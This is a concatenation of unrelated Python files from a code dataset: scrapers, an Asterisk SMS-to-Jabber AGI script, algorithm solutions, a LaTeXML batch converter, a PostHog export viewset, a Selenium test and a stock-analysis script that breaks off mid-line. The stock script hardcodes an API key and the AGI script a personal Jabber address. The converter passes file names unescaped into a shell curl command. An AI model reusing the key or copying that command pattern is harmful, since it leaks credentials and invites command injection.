arrangeData(boardContent, sectionLayoutClueList):\r\n clueLabels = list()\r\n for clueLabel in sectionLayoutClueList.find_all('span', class_= 'Clue-label--2IdMY'):\r\n clueLabels.append(clueLabel.text)\r\n\r\n clueTexts = list()\r\n for clueText in sectionLayoutClueList.find_all('span', class_= 'Clue-text--3lZl7'):\r\n clueTexts.append(clueText.text)\r\n\r\n grid =list()\r\n\r\n for i in range(len(clueLabels)*len(clueLabels)):\r\n grid.append({'number': None,'color':None, 'answerLetter':None})\r\n\r\n for i, a in enumerate(boardContent.find_all('g')):\r\n if i == 3: \r\n cells = a\r\n\r\n for i, b in enumerate(cells.find_all('g')):\r\n \r\n if b.rect['class'][0][:10] == 'Cell-block':\r\n grid[i]['color'] = 0 #if it is black\r\n else:\r\n grid[i]['color'] = 1 #if it is white\r\n \r\n try:\r\n if len(b.text) == 3:\t\r\n grid[i]['number'] = b.text[0]\r\n grid[i]['answerLetter'] = b.text[1]\r\n else:\r\n grid[i]['answerLetter'] = b.text[0] \r\n except Exception as e: \r\n grid[i]['number'] = None\r\n grid[i]['answerLetter'] = None\r\n\r\n return grid, clueLabels, clueTexts\r\n\r\n\"\"\"\r\nmain function\r\n\"\"\"\r\ndef main():\r\n global c\r\n revealAnswers()\r\n\r\n #it gets page source of the webpage\r\n source= driver.page_source\r\n soup = BeautifulSoup(source, 'lxml')\r\n body = soup.body\r\n\r\n #it contains content of the puzzle board \r\n boardContent = body.find('div', class_ = 'Board-boardContent--1AzTH').svg\r\n\r\n #it contains content of the clue section \r\n sectionLayoutClueList = body.find('section', class_= 'Layout-clueLists--10_Xl')\r\n\r\n grid, clueLabels, clueTexts = arrangeData(boardContent, sectionLayoutClueList)\r\n\r\n c = tk.Canvas(root, height=650, width=1200, bg='white')\r\n c.pack(fill=tk.BOTH, expand=True)\r\n\r\n create_grid(grid)\r\n printClues(clueLabels,clueTexts)\r\n printIdentity()\r\n root.mainloop()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":6682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"421408709","text":"#!/usr/bin/python3\nimport sys\nimport os.path\nimport PDUclass\n\ndef main():\n env = {}\n while 1:\n line = sys.stdin.readline().strip()\n if line == '':\n break\n if type(line) is bytes: line = line.decode('utf8')\n key,data = line.split(':')\n env[key.strip()] = data.strip()\n sys.stdout.write(\"GET VARIABLE CMGR\\n\")\n sys.stdout.flush()\n line = sys.stdin.readline().strip()\n \n if not \"200 result=1\" in line : return\n #sys.stdout.write(\"VERBOSE {}\\n\".format(line[-10:]))\n #sys.stdout.flush()\n \n if line[-1] == ')' : line = line[line.rfind(' '):]\n else : line = sys.stdin.readline().strip()\n \n pdus = []\n pdus.append(PDUclass.PDU(line[:-1]))\n \n # single sms\n if not pdus[0].mti_co.udhi: \n opt = '\\\"asterisk,andy031968@404.city,' + 'SMS от {} >> {}\\\"'.format(env[\"agi_callerid\"],pdus[0].ud.text)\n sys.stdout.write(\"EXEC JabberSend \" + opt + \"\\n\")\n sys.stdout.flush()\n return\n \n f_path = \"/var/lib/asterisk/agi-bin/delme.txt\"\n\n if os.path.exists(f_path):\n with open(f_path) as f: strs = f.readlines()\n for st in strs: \n pdus.append(PDUclass.PDU(st[:-1]))\n\n pdus.sort(key=lambda x: (x.ud.udh.ieib.ied1, x.ud.udh.ieib.ied11, x.ud.udh.ieib.ied3))\n \n num = None # sms num\n num1 = None # sms num\n si = [0] # start index\n for i in range(len(pdus)):\n if (pdus[i].ud.udh.ieib.ied1 != num or pdus[i].ud.udh.ieib.ied11 != num1): # New SMS\n num = pdus[i].ud.udh.ieib.ied1\n num1 = pdus[i].ud.udh.ieib.ied11\n if not i : continue # Start\n si.append(i)\n si.append(None)\n\n npdus = [] \n spdus = []\n for i in range(len(si)-1):\n if pdus[si[i]].ud.udh.ieib.ied2 > len(pdus[si[i]:si[i+1]]): \n # SMS not completed\n npdus.extend(pdus[si[i]:si[i+1]])\n else: \n # SMS completed \n spdus.extend(pdus[si[i]:si[i+1]])\n sms_text = ''\n for spdu in spdus:\n sms_text += spdu.ud.text\n opt = '\\\"asterisk,andy031968@404.city,' + 'SMS от {} >> {}\\\"'.format(env[\"agi_callerid\"],sms_text)\n sys.stdout.write(\"EXEC JabberSend \" + opt + \"\\n\")\n sys.stdout.flush()\n if npdus :\n with open(f_path,'w') as f: \n for npd in npdus: \n f.write(npd.line + '\\n')\n else:\n os.unlink(f_path)\n else: \n os.mkfifo(f_path)\n with open(f_path,'w') as f: \n for pd in pdus: \n f.write(pd.line + '\\n')\n\n\n\nmain()","sub_path":"agi_test.py","file_name":"agi_test.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"47392734","text":"#Given a singly linked list, determine if it is a palindrome.\n\n#Example 1:\n\n#Input: 1->2\n#Output: false\n#Example 2:\n\n#Input: 1->2->2->1\n#Output: true\n#Follow up:\n#Could you do it in O(n) time and O(1) space?\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n def reverse(head: ListNode) -> ListNode:\n pre = None\n cur = head\n while cur is not None:\n tmp = cur.next\n cur.next = pre\n pre = cur\n cur = tmp\n return pre\n\n slow, fast = head, head\n while fast is not None and fast.next is not None:\n slow = slow.next\n fast = fast.next.next\n if fast is not None:\n slow = slow.next\n\n left = head\n right = reverse(slow)\n\n while right is not None:\n if left.val != right.val:\n return False\n left = left.next\n right = right.next\n return True\n\n","sub_path":"python_code/234_Palindrome_Linked_List.py","file_name":"234_Palindrome_Linked_List.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"389590716","text":"s=input()\nflag=0\ncnt=0\nfor i in range(len(s)-1):\n if s[i]==s[i+1]:\n cnt+=1\n else:\n cnt=0\n if cnt==6:\n flag=1\n break\nif flag==1:\n print('YES')\nelse:\n print('NO')\n\n","sub_path":"96a.py","file_name":"96a.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"504219555","text":"import urllib.request\n\nimport bs4 as bs\nfrom requests.sessions import Session\n\n\nclass Scraper:\n\n def __parse_page(self, session: Session, url) -> bs.BeautifulSoup:\n page = urllib.request.urlopen(url)\n\n if None is page:\n raise Exception(\"web no encontrada:\", page)\n\n web_code = page.read()\n return bs.BeautifulSoup(web_code, 'lxml')\n\n def scrap_item_list(self, url: str) -> list:\n print(\"\\nScrapeando página:\", url)\n item_list_data = []\n item_list_page_code = self.__parse_page(url)\n items = item_list_page_code.select('.product-image')\n for item in items:\n item_url = item.get('href')\n item_page_code = self.__parse_page(item_url)\n print(\"Recabando datos del elemento:\", item_url)\n item_data = self.__get_item_data(item_page_code)\n item_list_data.append(item_data)\n\n return item_list_data\n\n def __get_item_data(self, item_page_code: bs.BeautifulSoup) -> dict:\n item = {'referencia': self.__get_item_reference(item_page_code),\n 'nombre': self.__get_item_name(item_page_code),\n 'precio': self.__get_item_price(item_page_code),\n 'imagen': self.__get_item_image(item_page_code),\n 'descripcion': self.__get_item_description(item_page_code)}\n\n return item\n\n def __get_item_reference(self, item_page_code: bs.BeautifulSoup) -> str:\n reference = \"\"\n\n if item_page_code.select_one('p.sku'):\n tag = item_page_code.select_one('p.sku')\n text = str(tag.get_text())\n reference = text.strip()\n\n elif item_page_code.select_one('div.product-name p'):\n tag = item_page_code.select_one('div.product-name p')\n text = str(tag.get_text())\n reference = text.replace(\"Código:\", \"\")\n\n print(\"Referencia captada:\", reference)\n\n return reference\n\n def __get_item_name(self, item_page_code: bs.BeautifulSoup) -> str:\n tag = item_page_code.select_one('.h1')\n\n name = \"\"\n if tag and tag.get_text():\n name = str(tag.get_text())\n\n print(\"Nombre captado:\", name)\n\n return name\n\n def __get_item_price(self, item_page_code: bs.BeautifulSoup) -> str:\n price = \"\"\n\n tag = item_page_code.select_one('.price-box .price')\n if tag and tag.get_text():\n text = str(tag.get_text())\n price = text.replace(\" \", \"\").replace(\"\\t\", \"\").replace(\"€\", \"\").replace(\".\", \"\").strip()\n\n print(\"Precio captado:\", price)\n\n return price\n\n def __get_item_image(self, item_page_code: bs.BeautifulSoup) -> str:\n tag = item_page_code.select_one('#image-main')\n\n image = \"\"\n if tag and tag.get('src'):\n image = str(tag.get('src'))\n\n print(\"Imágen captada:\", image)\n\n return image\n\n def __get_item_description(self, item_page_code: bs.BeautifulSoup) -> str:\n tag = item_page_code.select_one('div.short-description')\n\n description = \"\"\n if tag and tag.get_text():\n text = str(tag.get_text())\n description = text.strip()\n\n print(\"Descripción captada:\", description)\n\n return description\n","sub_path":"cspangea/app/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"231252044","text":"# Convert latex sources to XML\n# Usage:\n# python runlatexml.py OUTPUT_DIR INPUT_ZIP1 INPUT_ZIP2 ...\n# Input: zip files (file names must be \"*.zip\")\n# Output: zip files (file names will be \"*.zip\")\n\n# Run latexml in the following way:\n# curl --data-urlencode @source.zip 'latexml.mathweb.org/convert?whatsin=archive&whatsout=archive&format=html5' > result.zip\n\nimport sys\nimport os.path\nimport re\n\n#latexml_url = 'latexml.mathweb.org/convert?whatsin=archive&whatsout=archive&format=html5'\n#latexml_url = 'latexml.mathweb.org/convert?whatsin=archive&whatsout=archive&format=xhtml'\n#latexml_url = 'latexml.mathweb.org/convert?whatsin=archive&whatsout=archive&format=xml'\n## Comments in latex sources should be suppressed\nlatexml_url = 'latexml.mathweb.org/convert?whatsin=archive&whatsout=archive&format=xhtml&nocomments'\n#latexml_url = 'latexml.mathweb.org/convert?whatsin=archive&whatsout=archive&format=xml&nocomments'\n\nif len(sys.argv) < 3:\n sys.stderr.write(\"Usage: python runlatexml.py OUTPUT_DIR INPUT_ZIP1 INPUT_ZIP2 ...\\n\")\n sys.exit(1)\n\noutput_dir = sys.argv[1]\ninput_files = sys.argv[2:]\n\nsys.stderr.write(\"Input: %d files\\n\" % len(input_files))\nsys.stderr.write(\"Output directory: %s\\n\" % output_dir)\n\n# Make an output directory if not exist\nif not os.path.isdir(output_dir):\n os.makedirs(output_dir)\n\nnum_errors = 0\nfile_id = 0\nfor filename in input_files:\n file_id = file_id + 1\n sys.stderr.write(\"*** Processing file %d: %s...\\n\" % (file_id, filename))\n if not os.path.isfile(filename):\n sys.stderr.write(\"Error: File not found: %s\\n\" % filename)\n sys.exit(1)\n if os.path.getsize(filename) == 0:\n sys.stderr.write(\"Warning: Empty file ignored: %s\\n\" % filename)\n num_errors = num_errors + 1\n continue\n filename_match = re.match(r'(.*)\\.zip', os.path.basename(filename))\n if filename_match is None:\n sys.stderr.write(\"Error: File name must be *.zip: %s\\n\" % filename)\n sys.exit(1)\n output_filename = \"%s/%s.zip\" % (output_dir, filename_match.group(1))\n sys.stderr.write(\" Sending data to %s\\n\" % latexml_url)\n convert_command = \"curl -s -S --data-urlencode @%s '%s' > %s\" % (filename, latexml_url, output_filename)\n if os.system(convert_command) == 0:\n sys.stderr.write(\" Output to %s\\n\" % output_filename)\n else:\n sys.stderr.write(\"Warning: Conversion failed: %s\\n\" % convert_command)\n num_errors = num_errors + 1\n\nsys.stderr.write(\"%d files processed\\n\" % (file_id - num_errors))\nsys.stderr.write(\"%d errors\\n\" % num_errors)\n\n","sub_path":"runlatexml/runlatexml.py","file_name":"runlatexml.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"90335510","text":"from typing import Any, Dict\n\nimport celery\nimport requests.exceptions\nimport structlog\nfrom django.http import HttpResponse\nfrom rest_framework import mixins, serializers, viewsets\nfrom rest_framework.authentication import BasicAuthentication, SessionAuthentication\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.request import Request\n\nfrom posthog.api.routing import StructuredViewSetMixin\nfrom posthog.auth import PersonalAPIKeyAuthentication\nfrom posthog.event_usage import report_user_action\nfrom posthog.models import Insight\nfrom posthog.models.activity_logging.activity_log import Change, Detail, log_activity\nfrom posthog.models.exported_asset import ExportedAsset, get_content_response\nfrom posthog.permissions import ProjectMembershipNecessaryPermissions, TeamMemberAccessPermission\nfrom posthog.tasks import exporter\n\nlogger = structlog.get_logger(__name__)\n\n\nclass ExportedAssetSerializer(serializers.ModelSerializer):\n \"\"\"Standard ExportedAsset serializer that doesn't return content.\"\"\"\n\n class Meta:\n model = ExportedAsset\n fields = [\n \"id\",\n \"dashboard\",\n \"insight\",\n \"export_format\",\n \"created_at\",\n \"has_content\",\n \"export_context\",\n \"filename\",\n ]\n read_only_fields = [\"id\", \"created_at\", \"has_content\", \"filename\"]\n\n def validate(self, attrs: Dict) -> Dict:\n if not attrs.get(\"export_format\"):\n raise ValidationError(\"Must provide export format\")\n\n if not attrs.get(\"dashboard\") and not attrs.get(\"insight\") and not attrs.get(\"export_context\"):\n raise ValidationError(\"Either dashboard, insight or export_context is required for an export.\")\n\n if attrs.get(\"dashboard\") and attrs[\"dashboard\"].team.id != self.context[\"team_id\"]:\n raise ValidationError({\"dashboard\": [\"This dashboard does not belong to your team.\"]})\n\n if attrs.get(\"insight\") and attrs[\"insight\"].team.id != self.context[\"team_id\"]:\n raise ValidationError({\"insight\": [\"This insight does not belong to your team.\"]})\n\n return attrs\n\n def create(self, validated_data: Dict, *args: Any, **kwargs: Any) -> ExportedAsset:\n request = self.context[\"request\"]\n validated_data[\"team_id\"] = self.context[\"team_id\"]\n validated_data[\"created_by\"] = request.user\n\n instance: ExportedAsset = super().create(validated_data)\n\n task = exporter.export_asset.delay(instance.id)\n try:\n task.get(timeout=10)\n instance.refresh_from_db()\n except celery.exceptions.TimeoutError:\n # If the rendering times out - fine, the frontend will poll instead for the response\n pass\n except requests.exceptions.MissingSchema:\n # regression test see https://github.com/PostHog/posthog/issues/11204\n pass\n except NotImplementedError as ex:\n logger.error(\"exporters.unsupported_export_type\", exception=ex, exc_info=True)\n raise serializers.ValidationError(\n {\"export_format\": [\"This type of export is not supported for this resource.\"]}\n )\n\n report_user_action(request.user, \"export created\", instance.get_analytics_metadata())\n\n instance.refresh_from_db()\n\n insight_id = instance.insight_id\n dashboard_id = instance.dashboard_id\n if insight_id and not dashboard_id: # we don't log dashboard activity ¯\\_(ツ)_/¯\n try:\n insight: Insight = Insight.objects.select_related(\"team__organization\").get(id=insight_id)\n log_activity(\n organization_id=insight.team.organization.id,\n team_id=self.context[\"team_id\"],\n user=request.user,\n item_id=insight_id, # Type: ignore\n scope=\"Insight\",\n activity=\"exported\",\n detail=Detail(\n name=insight.name if insight.name else insight.derived_name,\n short_id=insight.short_id,\n changes=[\n Change(\n type=\"Insight\", action=\"exported\", field=\"export_format\", after=instance.export_format\n )\n ],\n ),\n )\n except Insight.DoesNotExist as ex:\n logger.warn(\"insight_exports.unknown_insight\", exception=ex, insight_id=insight_id)\n pass\n\n return instance\n\n\nclass ExportedAssetViewSet(\n mixins.RetrieveModelMixin, mixins.CreateModelMixin, StructuredViewSetMixin, viewsets.GenericViewSet\n):\n queryset = ExportedAsset.objects.order_by(\"-created_at\")\n serializer_class = ExportedAssetSerializer\n\n authentication_classes = [PersonalAPIKeyAuthentication, SessionAuthentication, BasicAuthentication]\n permission_classes = [IsAuthenticated, ProjectMembershipNecessaryPermissions, TeamMemberAccessPermission]\n\n # TODO: This should be removed as it is only used by frontend exporter and can instead use the api/sharing.py endpoint\n @action(methods=[\"GET\"], detail=True)\n def content(self, request: Request, *args: Any, **kwargs: Any) -> HttpResponse:\n instance = self.get_object()\n return get_content_response(instance, request.query_params.get(\"download\") == \"true\")\n","sub_path":"posthog/api/exports.py","file_name":"exports.py","file_ext":"py","file_size_in_byte":5551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"234383799","text":"import sys\nimport os\nfrom PIL import Image\n\n\ndef filter_py(img, schwellenwert):\n f = Image.open(\"mi.png\") # type: Image.Image\n schwellenwert /= 100\n\n width, height = f.size[0], f.size[1]\n\n for x in range(width):\n for y in range(height):\n pixel = f.getpixel((x,y))\n helligkeit = int((pixel[0] + pixel[1] + pixel[2]) / 3)\n\n if helligkeit < schwellenwert * 255:\n f.putpixel((x,y), (0,0,0))\n else:\n f.putpixel((x,y), (255,255,255))\n\n return f\n\n\nif __name__ == '__main__':\n os.chdir(\"Images\")\n schwellenwert = 50\n\n if len(sys.argv) > 2:\n lesebild = sys.argv[1]\n schreibebild = sys.argv[2]\n\n if len(sys.argv) > 3 and sys.argv[3] == '-f':\n schwellenwert = int(sys.argv[4])\n\n new = filter_py(lesebild, schwellenwert)\n new.save(schreibebild + \"_py.png\")","sub_path":"pyprog/UEB_9/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"652654434","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver import DesiredCapabilities\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\n\nclass TestGoogleSearchTest:\n driver = None\n\n def setup(self):\n options = webdriver.ChromeOptions()\n options.add_argument('--disable-web-security')\n options.add_argument(\n '--disk-cache-dir=/var/www/cake2.2.4/app/tmp/cache/selenium-chrome-cache')\n options.add_argument('--no-referrers')\n options.add_argument(\n \"'chrome.prefs': {'profile.managed_default_content_settings.images': 2}\")\n\n self.driver = webdriver.Chrome(\n executable_path='/usr/local/bin/chromedriver',\n chrome_options=options)\n\n # def setup(self):\n # options = webdriver.Firefox()\n # options.add_argument('--disable-web-security')\n # options.add_argument(\n # '--disk-cache-dir=/var/www/cake2.2.4/app/tmp/cache/selenium-chrome-cache')\n # options.add_argument('--no-referrers')\n # options.add_argument(\n # \"'chrome.prefs': {'profile.managed_default_content_settings.images': 2}\")\n #\n # self.driver = webdriver.Firefox(\n # executable_path='/Users/sergioneri/testjenkins/geckodriver',\n # firefox_options=options)\n\n # def setup(self):\n # Create a new Firefox driver instance\n\n # binary = FirefoxBinary(r'C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe')\n # # fp = (r'C:\\Users\\username\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\oqmqnsih.default')\n # opts = Options()\n # # opts.profile = fp\n # firefox_capabilities = DesiredCapabilities.FIREFOX\n # firefox_capabilities['marionette'] = True\n # self.driver = webdriver.Firefox(capabilities=firefox_capabilities,\n # firefox_binary=binary, firefox_options=opts)\n\n\n # firefox_capabilities = DesiredCapabilities.FIREFOX\n # firefox_capabilities['marionette'] = True\n # # you probably don't need the next 3 lines they don't seem to work anyway\n # firefox_capabilities['handleAlerts'] = True\n # firefox_capabilities['acceptSslCerts'] = True\n # firefox_capabilities['acceptInsecureCerts'] = True\n # ffProfilePath = '/usr/local/bin/k53yczi1.default'\n #\n # profile = webdriver.FirefoxProfile(profile_directory=ffProfilePath)\n # geckoPath = '/Users/sergioneri/testjenkins/geckodriver'\n # self.driver = webdriver.Firefox(firefox_profile=profile,\n # capabilities=firefox_capabilities,\n # executable_path=geckoPath)\n\n self.driver.implicitly_wait(10) # 10 seconds\n\n def teardown(self):\n # Close the browser after running the tests\n self.driver.quit()\n\n def test_search(self):\n # Trigger a Google Search\n self.driver.get('http://www.google.com')\n searchElement = self.driver.find_element_by_name('q')\n searchElement.send_keys('6020 peaks')\n searchElement.submit()\n # WebDriverWait(self.driver, 10).until(EC.title_contains('6020 peaks'))\n","sub_path":"test_google.py","file_name":"test_google.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"339061811","text":"from collections import defaultdict\nimport math\nclass Solution:\n def removeElement(self, nums, val):\n cnt = 0\n i = 0\n j = len(nums) - 1\n if i == j and nums[i] == val:\n nums.clear()\n return 0\n\n while i < j:\n while j >= 0 and nums[j] == val:\n cnt += 1\n j -= 1\n while i < len(nums) and nums[i] != val:\n i += 1\n if i < j:\n nums[i], nums[j] = nums[j], nums[i]\n\n if len(nums) - cnt == 0 and cnt > 0:\n nums.clear()\n return 0\n return len(nums) - cnt\n\n\nif __name__ == '__main__':\n sol = Solution()\n \n nums = [0,1,2,2,3,0,4,2]\n val = 2\n nums = [3,2,2,3]\n val = 3\n #nums = [2]\n #val = 2\n #nums = [4, 5]\n #val = 4\n #nums = [1,1,1,1]\n #val = 1\n nums = [3,3]\n val = 5\n print(nums, val)\n r = sol.removeElement(nums, val)\n print(r, nums)","sub_path":"lc_27_remove_element.py","file_name":"lc_27_remove_element.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"387052929","text":"# O(n*log(n)), rolling hash + binary search\n\n\nclass Solution(object):\n def longestDupSubstring(self, S):\n \"\"\"\n :type S: str\n :rtype: str\n \"\"\"\n left, right = 1, len(S) - 1\n while left + 1 < right:\n mid = left + (right - left) // 2\n if self.has_dup_with_length(S, mid) != -1:\n left = mid\n else:\n right = mid\n i = self.has_dup_with_length(S, right)\n if i != -1:\n return S[i - right + 1:i + 1]\n else:\n i = self.has_dup_with_length(S, left)\n return S[i - left + 1:i + 1]\n\n def has_dup_with_length(self, S, length):\n # return -1 if not exists, otherwise return the end index\n visited = collections.defaultdict(list) # {val: a list of start index to resolve hash conflict}\n hash_val = 0\n base = 26\n N = 10 ** 9 + 7\n factor = (base ** (length - 1)) % N\n for i in range(length):\n hash_val = (hash_val * base + ord(S[i]) - ord('a')) % N\n visited[hash_val].append(length - 1)\n for i in range(length, len(S)):\n hash_val -= (ord(S[i - length]) - ord('a')) * factor\n hash_val = hash_val * base + (ord(S[i]) - ord('a'))\n hash_val %= N\n if hash_val in visited:\n for j in visited[hash_val]:\n if self.match(S, i, j, length):\n return i\n visited[hash_val].append(i)\n return -1\n\n def match(self, S, i, j, length):\n for k in range(length):\n if S[i - k] != S[j - k]:\n return False\n return True\n\n\n\"\"\"\nGiven a string S, consider all duplicated substrings: (contiguous) substrings of S that occur 2 or more times. (The occurrences may overlap.)\n\nReturn any duplicated substring that has the longest possible length. (If S does not have a duplicated substring, the answer is \"\".)\n\n\n\nExample 1:\n\nInput: \"banana\"\nOutput: \"ana\"\nExample 2:\n\nInput: \"abcd\"\nOutput: \"\"\n\n\nNote:\n\n2 <= S.length <= 10^5\nS consists of lowercase English letters.\n\"\"\"","sub_path":"1044. Longest Duplicate Substring.py","file_name":"1044. Longest Duplicate Substring.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"348023688","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2018/12/14 15:16\n@author: Sucre\n@email: qian.dong.2018@gmail.com\n\"\"\"\n\n\nclass Solution:\n def threeSumClosest(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n nums.sort()\n res = nums[0]+nums[1]+nums[-1]\n min_dis = abs(target-res)\n for i in range(len(nums)-2):\n j = i+1\n k = len(nums)-1\n while jtarget:\n k-=1\n else:\n j+=1\n return res","sub_path":"_016_3Sum_Closest.py","file_name":"_016_3Sum_Closest.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"324732942","text":"\n#imports that we need\nimport requests \nimport json\nimport csv\nimport pandas as pd\nimport os.path\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom time import sleep\nfrom textblob import TextBlob\n\n#API_KEY FOR ALPHAVANTAGE API !DO NOT TOUCH!\nAPI_KEY = '4HNDQOUQ2A1G90RW'\n\n#colors for the graphs\nclrs = ['r','b','g','k']\n\n#api link for stock twits and sentiment analysis if we want\n#https://api.stocktwits.com/api/2/streams/symbol/AAPL.json\n\n\n\n#makes a list of inputs for the user to enter to \ndef get_stocks():\n stock_symbols = []\n symbol = \"\"\n \n while True:\n #symbol = input(\"Enter a stock symbol: \").upper()\n if len(stock_symbols) >= 4 or symbol.lower() == \"no\":\n break\n else:\n symbol = input(\"Enter a stock symbol: \").upper()\n if symbol.lower() != \"no\":\n stock_symbols.append(symbol)\n return(stock_symbols)\n\n\n#makes DF's from the passed list of symbols, makes theindex column dates with a dateTime object, overwrites the 'close' column with an adjusted value to include splits in price\ndef make_df(symbols): \n\n stock_df = []\n \n for x in symbols:\n #Dont use this one for testing, only deployemnt\n url = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&symbol=' + x + '&outputsize=full&datatype=csv&apikey=' + API_KEY\n \n #use this one for testing\n #url = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&symbol=' + x + '&outputsize=compact&datatype=csv&apikey=' + API_KEY\n data = pd.read_csv(url, index_col=\"timestamp\", parse_dates = True, na_values = ' ')\n data['close'] = data['adjusted_close']\n data.index.names = ['date']\n stock_df.append(data)\n \n return(stock_df)\n\n#adding oc_var, volatility, fluctuation, MA(5), MA(30) & MA(252)\ndef mod_df(df):\n df['fluctuation'] = 100*(df['high']-df['low'])/df['close']\n df['oc_var'] = df['open'] - df['close']\n df['volatility'] = df['high'] - df['low']\n df['ma(5)'] = df['close'].rolling(5).mean()\n df['ma(50)'] = df['close'].rolling(50).mean()\n df['ma(200)'] = df['close'].rolling(200).mean()\n df['date'] = df.index\n df['day'] = df['date'].dt.day_name()\n df['month'] = df['date'].dt.month_name()\n df['year'] = df['date'].dt.year\n\n return (df)\n\n\n#calculate the errors for the moving average calculations\ndef predict(df):\n rmse_ma5 = (((df['ma(5)'] - df['close'])**2).mean())**.5\n rmse_ma50 = (((df['ma(50)'] - df['close'])**2).mean())**.5\n rmse_ma200 = (((df['ma(200)'] - df['close'])**2).mean())**.5\n print(\"RMSE of MA(5) is: \", '{:,.2f}'.format(rmse_ma5)) \n print(\"RMSE of MA(50) is: \", '{:,.2f}'.format(rmse_ma50))\n print(\"RMSE of MA(200) is: \", '{:,.2f}'.format(rmse_ma200), '\\n')\n \n return\n\n#makes a summary of todays stock information\ndef todays_summary(df):\n open_price = '${:,.2f}'.format(df.iloc[0]['open'])\n high_price = '${:,.2f}'.format(df.iloc[0]['high'])\n low_price = '${:,.2f}'.format(df.iloc[0]['low'])\n close_price = '${:,.2f}'.format(df.iloc[0]['close'])\n volume = \"{:,}\".format(int(df.iloc[0]['volume']))\n oc_var = '${:.2f}'.format(df.iloc[0]['oc_var'])\n volatility = '${:.2f}'.format(df.iloc[0]['volatility'])\n fluctuation = '{:.2f}'.format(df.iloc[0]['fluctuation'])\n \n print(\"Todays Opening Price: \", open_price)\n print(\"Todays Highest Price: \", high_price)\n print(\"Todays Lowest Price: \", low_price)\n print(\"Todays Closing Price: \", close_price)\n print(\"Todays Trading Volume: \", volume)\n print(\"Todays Open/Close Variance: \", oc_var)\n print(\"Todays Volatility: \", volatility)\n print(\"Todays Price Fluctuation: \", str(fluctuation) + \"%\" + '\\n')\n \n return\n\n\n#plot the avg price vs day of the week\ndef plot_price_vs_day(df, symbol,x):\n \n days = ['Monday','Tuesday','Wednesday','Thursday','Friday']\n week_df = df['close'].groupby(df['day']).mean().reindex(days)\n \n upper_limit = week_df.max()\n lower_limit = week_df.min()\n \n upper_limit = upper_limit + (upper_limit*0.01)\n lower_limit = lower_limit - (lower_limit*0.01)\n \n week_df.plot(color=clrs[x], label =symbol, alpha = .7, kind = 'bar', ylim=(lower_limit,upper_limit))\n plt.title(\"Price vs. Day\")\n plt.legend()\n plt.show()\n\n return\n\n#plot the avg price vs month\ndef plot_price_vs_month(df, symbol,x):\n \n months = ['January','February','March','April','May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n month_df = df['close'].groupby(df['month']).mean().reindex(months)\n \n upper_limit = month_df.max()\n lower_limit = month_df.min()\n \n #scale the graphs dynamically on the axis\n upper_limit = upper_limit + (upper_limit*0.01)\n lower_limit = lower_limit - (lower_limit*0.01)\n \n month_df.plot(color=clrs[x], label = symbol, kind = 'bar', alpha = .7, ylim=(lower_limit,upper_limit))\n plt.title(\"Price vs. Month\")\n plt.legend()\n plt.show()\n\n return\n\n\n#diaplsy the close price vs date in a graph \ndef plot_price_vs_time(df, symbol,x):\n df['close'].plot(color=clrs[x], label = symbol, alpha = .7)\n plt.title(\"Price vs. Time\")\n plt.legend()\n plt.show()\n return\n\n\n#plot the flucuation by day \ndef plot_fluc_vs_time(df, symbol,x):\n df['fluctuation'].plot(color=clrs[x], label = symbol, alpha = .7)\n plt.title(\"Fluction vs. Time\")\n plt.legend()\n plt.show()\n return\n\n\n#plot the volume vs volatiltiy\ndef plot_volume_vs_volatiltiy(df, symbol,x):\n \n volume = df['volume']\n volatility = df['volatility']\n\n #format and display plot\n plt.scatter(x = volatility, y = volume, color=clrs[x], alpha = .2)\n plt.xlabel('Volatility')\n plt.ylabel('Volume')\n plt.title(symbol)\n plt.show();\n \n correlation = volume.corr(volatility)\n print('Correlation1: 